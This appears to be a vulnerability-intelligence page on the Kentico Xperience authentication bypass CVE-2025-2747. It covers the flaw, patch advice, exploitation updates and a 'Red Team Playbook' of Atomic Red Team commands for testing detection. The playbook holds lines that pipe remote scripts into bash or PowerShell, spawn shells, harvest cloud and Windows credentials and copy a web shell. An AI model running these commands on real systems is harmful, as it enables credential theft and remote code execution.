CVE-2025-2747
Overview
This vulnerability is an authentication bypass caused by improper password handling in the Staging Sync Server component of Kentico Xperience. Specifically, the server's handling of the 'None' password type fails to enforce authentication checks. This flaw resides in the SyncServer.asmx endpoint responsible for staging synchronization operations, affecting versions through 13.0.178.
Vulnerability Description
An authentication bypass vulnerability in Kentico Xperience allows authentication bypass via the Staging Sync Server component password handling for the server defined None type. Authentication bypass allows an attacker to control administrative objects.This issue affects Xperience through 13.0.178.
Impact
An unauthenticated attacker can exploit this vulnerability to bypass authentication controls and gain administrative access to the Kentico Xperience CMS. This access enables control over administrative objects, potentially allowing full system compromise, data manipulation, and lateral movement within the affected environment. No prior authentication or user interaction is required, making exploitation straightforward and increasing the risk of data breaches and operational disruption.
Solution
Kentico has issued hotfixes addressing this authentication bypass vulnerability for Xperience versions through 13.0.178. Users should apply the latest patches available at https://devnet.kentico.com/download/hotfixes. The vendor advisory and associated hotfixes provide detailed remediation instructions. No alternative workarounds are specified; timely patching is recommended to mitigate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The authentication bypass vulnerability in Kentico Xperience arises from improper handling of password management within the Staging Sync Server component. Specifically, this flaw allows an attacker to exploit the server's configuration, particularly when the server is defined with a "None" type for authentication. By circumventing authentication mechanisms, an unauthorized user can gain access to administrative functionalities, which could lead to unauthorized control over sensitive administrative objects. The vulnerability is particularly critical given its high CVSS score of 9.8, indicating a severe risk to systems utilizing affected versions of the software.
Exploitation of this vulnerability can occur through various attack vectors. An attacker with network access to the Staging Sync Server can manipulate requests to bypass authentication checks. This could be achieved through crafted HTTP requests that exploit the flawed password handling logic. Once authenticated, the attacker could perform a range of malicious activities, including altering configurations, accessing sensitive data, or even deploying malicious content within the application. Scenarios may include an insider threat where a disgruntled employee seeks to exploit the vulnerability, or an external attacker leveraging network access to gain unauthorized control.
The real-world impact of this vulnerability is significant, particularly for organizations relying on Kentico Xperience for their content management needs. Successful exploitation could lead to unauthorized access to critical administrative functions, potentially compromising sensitive data and undermining the integrity of the application. The business risks associated with such an incident are manifold, including reputational damage, loss of customer trust, regulatory penalties, and potential financial losses from data breaches. Organizations may also face operational disruptions as they scramble to mitigate the effects of an attack, further compounding the impact on their business continuity.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the Kentico Xperience platform to the latest version is crucial, as vendors often release patches to address known vulnerabilities. Additionally, organizations should conduct thorough security assessments and penetration testing to identify potential weaknesses in their configurations. Monitoring network traffic for unusual patterns or unauthorized access attempts can also aid in early detection of exploitation attempts. Furthermore, employing strong authentication mechanisms, such as multi-factor authentication, can significantly reduce the risk of unauthorized access, even if an attacker attempts to exploit the vulnerability.
In conclusion, the authentication bypass vulnerability in Kentico Xperience presents a serious threat to organizations utilizing this platform. The potential for unauthorized control over administrative functions underscores the necessity for vigilant security practices. By understanding the technical details of the vulnerability, recognizing possible exploitation scenarios, and implementing robust detection and mitigation strategies, organizations can better protect themselves against the risks associated with this critical security flaw. Continuous education and awareness within the organization about such vulnerabilities will also play a pivotal role in fostering a security-conscious culture that prioritizes the safeguarding of sensitive information and systems.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2025-2747, with telemetry indicating the first confirmed sighting of exploitation attempts targeting the Kentico Xperience Staging Sync Server component. Although no new exploit variants or ransomware affiliations have been identified, this initial detection signals a shift from theoretical risk to active targeting in the wild. The elevated EPSS score, now approaching the maximum percentile, corroborates the increased likelihood of exploitation attempts. For defenders, this development underscores an urgent need to prioritize monitoring and response efforts around this vulnerability, as adversaries appear to be moving beyond reconnaissance to actual exploitation attempts. Consequently, the threat level should be considered heightened from a latent to an active exploitation phase, increasing the immediacy of risk to affected environments.
Update 2 — June 23, 2026
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2025-2747, with telemetry indicating a doubling in observed exploitation attempts. This surge is accompanied by a modest increase in the Exploit Prediction Scoring System (EPSS) score, now nearing the upper percentile threshold, signaling a growing probability of successful exploitation in operational environments. Although no new exploit techniques or ransomware affiliations have been reported, the amplification of targeting efforts suggests adversaries are intensifying their focus on this authentication bypass vulnerability. For defenders, this development elevates the urgency of continuous monitoring and rapid incident response, as the vulnerability is transitioning from a theoretical concern to an actively exploited threat. Consequently, the overall risk posture for affected Kentico Xperience deployments should be reassessed upward, reflecting an active exploitation phase that demands heightened vigilance.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Kentico | Xperience | All |
cpe:2.3:a:kentico:xperience:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
40%
|
Low | Very High | |
| CAPEC-127 | Directory Indexing |
30%
|
High | Medium |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-2747 |
| labs.watchtowr.com |
GitHub CVE
technical-description
exploit
|
https://labs.watchtowr.com/bypassing-authentication-like-its-the-90s-pre-auth-rce-chain-s-in-kentico-xperience-cms/ |
| devnet.kentico.com |
GitHub CVE
vendor-advisory
patch
|
https://devnet.kentico.com/download/hotfixes |
| github.com |
GitHub CVE
exploit
|
https://github.com/watchtowrlabs/kentico-xperience13-AuthBypass-wt-2025-0011 |
| vulncheck.com |
GitHub CVE
third-party-advisory
|
https://www.vulncheck.com/advisories/kentico-xperience-staging-sync-server-none-password-type-authentication-bypass |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-2747 |